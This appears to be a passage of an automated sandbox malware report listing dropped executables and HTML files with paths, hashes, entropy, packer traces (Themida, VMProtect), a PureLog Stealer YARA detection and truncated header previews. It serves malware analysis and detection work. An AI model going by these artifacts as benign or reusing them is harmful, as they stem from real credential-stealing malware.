Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\7uuYOubuRuTeu2Z5aoCcHRqr.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	363520
Entropy (8bit):	7.566311373125175
Encrypted:	false
SSDEEP:	6144:hKrTm/Wop3oiUklM540oF1zTuoZxFrI/l2k9Joup1JgHEa23sw6ac:8rTm/WohfdFNhhGpIOcYc
MD5:	D79B788762C6435AE9F599743F9F482D
SHA1:	4D96933A654C426776B30B57B49227E812B3D231
SHA-256:	0C9D401E9B393D2E7E2E3C727BA6E3E83CDE22DF260731879A4E5B0350929574
SHA-512:	E6E3A3BE1C171B38A9B167291D2F875C169C04B0AEFE7425092301CDB694C2C052FDC30E770634634C82CA3CCA76507E20D0AFF1EA6DB9076299E10935BB39F9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L...rJOf...............'.............F............@.......................................@.................................DY..(....................................?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...dA...p...4...>..............@....reloc...............r..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\8uJfLKd9Ss22grd4NZfs8ESc.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.015374450878895
Encrypted:	false
SSDEEP:	1536:0k9jHELqei8IP+UzrebBL105tPnNO3ByiGbhwkapILOHn3cUd:0k9jHdeIzrebrCPN2cto
MD5:	0951BF8665040A50D5FB548BE6AC7C1D
SHA1:	59F4315D9953700B41E3CD026054821145DD2E68
SHA-256:	F8E639176247F80ED86FEC07F31735F3381AF3B30F7512F4F9E06A04F0FAB489
SHA-512:	B159DF503A9CFDC0740123D7060918FB1444743417B645C9C28B4FB2AEDEC75660F84F55B3D62A89921B0D76B7AB199DBFE639844A9A11BC6458FB0E06B9FEAD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....)..........."...0..4............... .....@..... ....................................`...@......@............... ...............................`...............................S..8............................................................ ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@........................................H....... !...............-...&...........................................0..L.......(....(.....~......i .....@(..........i(..........(....(....t....o.....(......(.....~....-.r...p.....(....o....s.........~.....~...........V(....r7..p~....o.....~......(....Vs....(....t.........*..BSJB............v4.0.30319......l.......#~..\.......#Strings....T...<...#US.........#GUID.......@...#Blob...........W..........3........!...............................................................

C:\Users\user\Documents\SimpleAdobe\949yVhltZoP9AEITjUlYclGY.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7644698
Entropy (8bit):	7.996957781505089
Encrypted:	true
SSDEEP:	196608:91OJPDSjkypkppi4dISJEL7DuRXTl1/AN+vKH79l2g:3OtGjkWCdyDuRXPcOsP
MD5:	3A2B26A994B7FD53F298B7B94FAF9BC8
SHA1:	447DF9F19FEB0555C0AE39453902F9B979D68127
SHA-256:	934A200AB23782C898F25F26E3F7475B0126CC4F67098D6C877A4D90DCAB22F8
SHA-512:	78BFF37D5D59D068B94D6D6DE3C69BAF29F2499CA0DE3D17912D655DA44776BA90DAB693241433F3F35F9DB044DA890C9318B95DD6D3271CFB65330BA56A8C67
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\AaWaOfvGFn1i9dXWYSo7dRjD.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1251
Entropy (8bit):	5.242123603799515
Encrypted:	false
SSDEEP:	24:hYYIzDImyJRA3ZsjNQCRtgoLY95Mu56+eDHHLFCOXAkRcfRrzd0Ll72rKQk:rqLKj2CZLY5Mc6NDLYzkYKLlOM
MD5:	8150F458ED6FB9B1DB4E5CFA57A1A281
SHA1:	6E5726854D28687B560D7FDCB5C782C425C7DFB9
SHA-256:	4C13D452DD5D49671BD93CA32F2B4F85C78E39B6AB0AD1F38D98ED267F8FD896
SHA-512:	4CC6A112673AEF8BB8BB8A385C26791B805D43BB707B509880E894F1C83BAB4E16F13DE187036C5F660C3BEC1D286258396B7BDE65C5D7945C5019665196818C
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 404 Not Found..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;font-size: 30px;">Not Found..</h2>.<p>The resource requested could not be found on this server!</p>.</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1

C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5154288
Entropy (8bit):	7.171492010172408
Encrypted:	false
SSDEEP:	98304:NllmCKfheKnF4Gnuyjscn9GtGOqHLixnkmb0ZKH4lODcxSgo5Gn8WuMRIn+N3gNX:NllmCKfY2uWUMBHLi6mb0ZKH4lODcxSL
MD5:	D9A7D15AE1511095BC12D4FAA9BE6F70
SHA1:	B90FBB35EB6DD050E4829ECAC702FEAB90F58859
SHA-256:	BDC61E24B03DB5DBDEAF7979906EA51F0BFE388B41D8E7E80BDE6D9ACD716BBA
SHA-512:	F913E5BBB998AD8A391EA99C6D045081DA5AF128B9391C3A0249EC4EEB9A504BE796B3315E7C5B4BAE825B7629527719A845A974F4EBA37BD0233B86E5483E25
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8.................P...J..L........K.. ... K...@.. ........................N......GO...@.................................P.K.K.... K..I...........8N..m....N...................................................... ............... ..H............text.....J.. ....J................. ..`.rsrc....I... K..J....J.............@..@.reloc........N......6N.............@..B..................K.....H........=..T...........hY..{.8.........................................6+.(..GJ(......:+.(m..1.(.....V+.(^ Hg..(....8.......B+.(6.YT~..........6+.() sm~.......0..........+.(BTd/ ........8........E........3...8....s.........8....s.........8...s.........8....s......... .....:....&8....s.........8......0..&.......+.(\|.\9.~....o......8....8....8.........0..+.......+.(.r0k8....8....8.....~....o......8........0..&.......+.($R.:.~....o......8....8....8.........0..&.......

C:\Users\user\Documents\SimpleAdobe\GLt6qc3E5xlMIXJ9xyvvME0a.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4795544
Entropy (8bit):	7.790038180467164
Encrypted:	false
SSDEEP:	98304:ltzqmVRdoYb1nmPuPeHpxCHleUtEz7M9TrZHYErpLHE3OJots3fYa:ltZVR2uwU7EwtrNUs3ff
MD5:	6151F5177B7B35E3D7CEE99A2FC9AF24
SHA1:	2E0C8320FC5C6E11CFFB6A1A5085DB450F0BAF08
SHA-256:	1186878B54CD5CE32FFE84632051A57E9B62C7243187DB25BBAC6C57D2AD67AF
SHA-512:	69A536208B7E228E0AD51842AA00BA3FAEE4C29D952C15DFE90F8C58A3C7AC3CCE61E0FDEAEA2615FC6268459820F468543D52CF62AFD4D2A026E2A517B63031
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............3S...........@...........................\|.....i.J...@.................................t.L.@.....o..-............H..t....o...............................3. .....o.@............ U.....(#D.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...x..........................`..`.vmp...u>.. 1..v>.................`..`.reloc........o......z>.............@..@.rsrc....-....o..8....>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\IzXa7ArplEUILx8JLGVvIms1.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3163136
Entropy (8bit):	7.986527740370475
Encrypted:	false
SSDEEP:	49152:GTMdkMhmlShESVoTFn1G6RFaboRc4eIV6ZEd/E19vakcaojsS0Ms1NVggf:dLY1SsGIOoNeIYFboaoq2gf
MD5:	23B6B09B37D3E4E9A8343F0600518535
SHA1:	F843D3ACE646035E6B0D14420FC3B00808A80EAA
SHA-256:	2263C40DEA71AAD8DE57071B0724CCC4267A169509540F61F612C8385195956E
SHA-512:	47C472583A6321C068392A79C1F194D40641A2E893AD5EC882122DF2C40EBE53257F178AA8A15C13B88C212B620C9CE582F97019340206F4C21F1640B1715685
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|....................@......................................@... .. .... .. ..........P................`..4...................0........................................................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@..........x......(..................@....data....`"..p...X".................@...................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\JJ5skLlHHCJQmKA3fqFEF8WX.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2958197
Entropy (8bit):	7.949334573377899
Encrypted:	false
SSDEEP:	49152:ppUlRhkdMczbk7oBEhGuWOYU7qYg0boGg64GzK7cz5OPeXXyGQ5j/03x3PJbyqQf:ppUlev/iGjU7qH0W64V7k5OPeXXyGQVx
MD5:	BC1B0FB42CCC20C3FA6420B1B1AAA705
SHA1:	7F9C2407E00BCDC1FEB9112F6B2E26B8E9CDE40F
SHA-256:	679F89FC1FA7E63B64FBC1BCBE826E7D91B2861B7D59C11301573D7C2015764C
SHA-512:	2FF53F747C34CCBA1B8A1C4FFB88261EE332FDC5F8199AC206C776C39F4D9B066CA8D9CB36C22B18081B9532FCCE25D7F6E2B1042D2288B4A4BB11FD452ECD7A
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#.b#...#0.b#..f"!.b#..a".b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b#Rich2.b#........................PE..L.....@f...............!.............e............@.......................................@.........................p}..4....}..P.......`....................p......E..T....................F......X...@...................,r.. ....................text...,........................... ..`.rdata..............................@..@.data................t..............@....didat.......p......................@....rsrc...`...........................@..@.reloc......p...,...l..............@..B................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\OZYSp_SuS64TdEhCce9XJabD.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4791448
Entropy (8bit):	7.801357729474096
Encrypted:	false
SSDEEP:	98304:fvlJEFn6D4/425BLJxuixbvOprXQPmVR64t6Grx+ts3fY:fvlGiS3lPr7OqOR6oMs3f
MD5:	9A78F27AA9D999EEE10CB154BA964869
SHA1:	D1AF2D2D1195415791F59285A9BCFA5EE0880EBD
SHA-256:	CF53B17C2ABC3B8AC0B149E2496726C5C7D67EC0712F56339F2870CA6D616DB6
SHA-512:	B0AB7D1A8492A1A318C10E7402CF36EF22BF80DB77AAC33F744296DCD01B17E438D65D2371FC733AEC28C671CD90DBF6CECB9BC23A9DB1163F183FEB70C7709C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............5i...........@...........................\|.....j.I...@.................................@tl.@.....o..-............H..t....o...............................:. ....lo.@.............m......]l.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp..$m..........................`..`.vmp...d>...1..f>.................`..`.reloc........o......j>.............@..@.rsrc....-....o..8...p>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\Vv3eq95tJE23PC8aGlGuTOwU.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	470528
Entropy (8bit):	7.711295641924988
Encrypted:	false
SSDEEP:	12288:mQJRsrrQqYvbeUVOyJ3GJNu0ADIJTls9tJBKM1I59rM:akkyJoNYDOsrqM259A
MD5:	E154829A16292C782B579D217E0EA8BF
SHA1:	5D2FB1535930184E7212B5FB780C638F32A03CEE
SHA-256:	132FE6D8E5C0026B4F9E0DE786CCC4A35FC22D86821D230F8D8EA924E825FFBF
SHA-512:	D0ACBC1D810F628107E095959A2C53EF6E58ADCC8631F1AB16353B1294B7F51F13B1FF9936AB5E86AFF2D3C4FAD9C56F3DF263D9F7B27DE8FFA3CD508537A300
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......jL$..-J,.-J,.-J,._I-"-J,._O-.-J,._N-;-J,._K---J,.-K,u-J,.N-<-J,.I-:-J,.O-`-J,.O-/-J,.H-/-J,Rich.-J,........PE..L.....Nf...............'.............I............@.......................................@..................................Y..(............................`..P....?...............................?..@...............@............................text............................... ..`.bSs................................ ..`.rdata.............................@..@.data........p.......@..............@....reloc..P....`......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\e3VBEHEyvWHF7UQhQQ1Xwuc5.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467343
Entropy (8bit):	5.350730362186107
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8u5a2MChtQZBtnI766t:MksqZ5a2MChtQQ
MD5:	E01210CD2D021572AB79679BED6B04F9
SHA1:	C80EBDFEB6B61F1D642D3302D35F3A9D33AD0ED0
SHA-256:	D50DE61A4A264E78F66210C177622954D46D2E97B7DE9A51502D9217C43BA7B6
SHA-512:	01789E10B0EB42F85B8739A67A30F55F9D566D5D7B1A4D4E9EB6602FB6AC9B2CFC0EAC8FD242ADC4B144A756C061D44099DFA5BC7D89D161F99726987D469901
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\iWX2pBM7OP8AKRlxpYxKCjxp.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	744960
Entropy (8bit):	7.822971503052979
Encrypted:	false
SSDEEP:	12288:q+dJfgo8vQKBuYVcUOmsIzxGd1OrZ7Ir2YjqF7fKjnmaoBt9WWayr9q0:hgoWQKBuXUtgdAJ2maoBtKyr9q0
MD5:	ADD437E239EBA1CEABCA80AF38F80B56
SHA1:	7D288EB76B3F0B1B3C37A020A61E97D4E43A1450
SHA-256:	2CE2C104C964166CF5FC95D7C855C173533BF28B7053A398BB01E757FD0D94EA
SHA-512:	C6447B5E35F05399EFB4263DB09C2E980F402C2368A06806A37684B0B248635B6F64F51587479D9FE66F833F5C44EA7A571CE7D5F5886A5EB54B6DF30F9A9FD5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)..)..)..{..)..{1..)..{0.)..QB.)..)...)....4.)..{..)......)..Rich.)..........................PE..L...`{]e............................v=....... ....@............................................................................<....@...............................................................x..@............ ..P............................text...#........................... ..`.rdata..Rk... ...l..................@..@.data...........8...\|..............@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\rKeuCT5BtcDJi3xnRhdYBXJ0.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	228864
Entropy (8bit):	6.12511745585131
Encrypted:	false
SSDEEP:	3072:tneBqhy5aVLOwqI8sgwoEHXfwaNUM+/ORSs5G2Ms4f6TFZbhgvbUxzJ8Y:tETlsgOfDt+/V6JQO98
MD5:	3955AF54FBAC1E43C945F447D92E4108
SHA1:	53C5552C3649619E4E8C6A907B94573F47130FA4
SHA-256:	E6DE332AD778F7A7CF160EFA60656C3AC960DC77806905493D5CFFE58EE1DE16
SHA-512:	FA028A040A5F075296AEBAB7F63A59B6CBBA32EE0964DFC08768396CC012FF5D861191E2478914D79D4A424C3BBA110505A58B97376C44C716F0B1EA70551037
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...sto@sto@sto@!.lA{to@!.jALto@!.kAoto@z..@ato@..nAzto@stn@.to@..jA~to@..mArto@Richsto@........PE..d...A%"^.........."......r..........`;.........@....................................)7....`..................................................o..........0...........................0&..T....................'..(....&..................h............................text....q.......r.................. ..`.rdata..D............v..............@..@.data................f..............@....pdata...............t..............@..@.rsrc...............................@..@.reloc...............v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\sCKRGnz9ufcbydLPdvMHEgfk.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5664468
Entropy (8bit):	7.999044610836231
Encrypted:	true
SSDEEP:	98304:mNYt51OFL8p2+YKpk7VEP8RUYSFauCcUhk76J+8lyR6SI3OjZy8redrbURI:Co51EA9bk7HRUlFauNUC76gKyRu3OFWF
MD5:	9BDAC0A94009F03D1A0078506200F3CF
SHA1:	CAD96A4EC163D198145C417F7F4EB25312C6300A
SHA-256:	E3555B2ECBB2F4EF7077205D864ADCB6884665CE36C2D8CBFA27EDBEB817DE2F
SHA-512:	E4C6D7246B8CB88EE264E00A2F8ED125D5B0DC250B6EBDE293469FF6929BDD117BE3F90695E1D25350911481FA30F1E518D794ADA7F4A811E19ACF3D09839EEF
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......$.............@..........................@...................@..............................P........,..........................................................................................................CODE....D........................... ..`DATA....L...........................@...BSS.....H................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\wPxPcov2_iRQt91bGzfyQLn0.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5382672
Entropy (8bit):	6.621301293389298
Encrypted:	false
SSDEEP:	98304:tfblDCLzsVGzo6WvZ4vALxjloC4/ozr0J:tblO8V+o6dv4iFAnc
MD5:	029B4A16951A6FB1F6A1FDA9B39769B7
SHA1:	A64E56DC24E713637AF0EF71B279F39843E0F0EB
SHA-256:	94DB25630E224DE4D562F408CA6ED1259EAE3645931174FCD57C07AD6933AA61
SHA-512:	3A117B879F96C42387CC088A2F05F441222F0DFBFB4F405F1E09BC03F92CDFB27FFA986A1F9AD4AD1E6E8D2387D3C367A54DCF51A7C2E1F32F48FB15B8406BFC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........p.........................p...........~+....~+.....~+......~+..................Z...O(......O(............O(......Rich....................PE..L.....Mf...............'..!..........MI.......!...@..........................pl......-R...@..........................................%......................`l.................................................................................... ..!......:.................. ..` N.....!......>..............@..@ .....p$......6..............@....rsrc.........%......F..............@..@ 4.....)..V...(..............@..B.idata..............~..............@....tls....................................themida..A...*...A.................`....reloc.......`l......"R................@........................................................................................................................

C:\Users\user\Documents\SimpleAdobe\xCrl2X_yjihZJLjlfNXcaGsm.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2562560
Entropy (8bit):	6.889408488852162
Encrypted:	false
SSDEEP:	49152:jxIRJF1HL+VdX68kUSJtTF+TxMoxc1TU+j+dAzGwlrh:jEJF16dX68dStIuoITsdZ
MD5:	A121C97352E79320BD32630542D2E0FE
SHA1:	2FE621FE0ED698F1D56DCD37D3DB2B813EC86DB0
SHA-256:	4E516D1D8FE006A8F47E9AEA8C8302E9426ED7A098690423338206AB02957757
SHA-512:	027FCAC865033516C03CD628DC49BF19BAED40F8549C683D16F16DC10B9B5FB93C7034AB80D80B6A89761723F4DB51970AAF4C110FA8BF083A054E2CF48FBD02
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@...........................'..................@..............................."...p.......................0..H6........................... ......................................................CODE................................ ..`DATA............. ..................@...BSS......................................idata...".......$..................@....tls.....................................rdata....... ......................@..P.reloc..H6...0...8..................@..P.rsrc........p......................@..P..............'.......'.............@..P........................................................................................................................................

C:\Users\user\Pictures\04MMWMll6oQNYP44niQAKG8f.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
MD5:	F0587649682207064554A2372966435D
SHA1:	2E8B948DFCFFCEB8ACF550A585D2EA127F28F41F
SHA-256:	6BD479DD9293043D4149641897629169DF609ADF72926D32ADFE0094C583828E
SHA-512:	F5D683B9F71F5F3647D0592F801C02F1DCEA7EB49B16FA2E481487D0ABC1770610DC9182148A68F749B19950FC3B122911AE0FD1B167CE5DDE31931A14B45FDD
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... .........................................................0..d.......................................................(................................................... .........T&..................... ..... .......X&..................rsrc...d....0.......`&.............@....idata...............(.............@....tls..................(..................themida..A......A...(.............`...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\1QmyjDm1eFH0lgBrYiowPc38.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\2Ik0JEK56ZEfeWSnlWXlxAQH.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
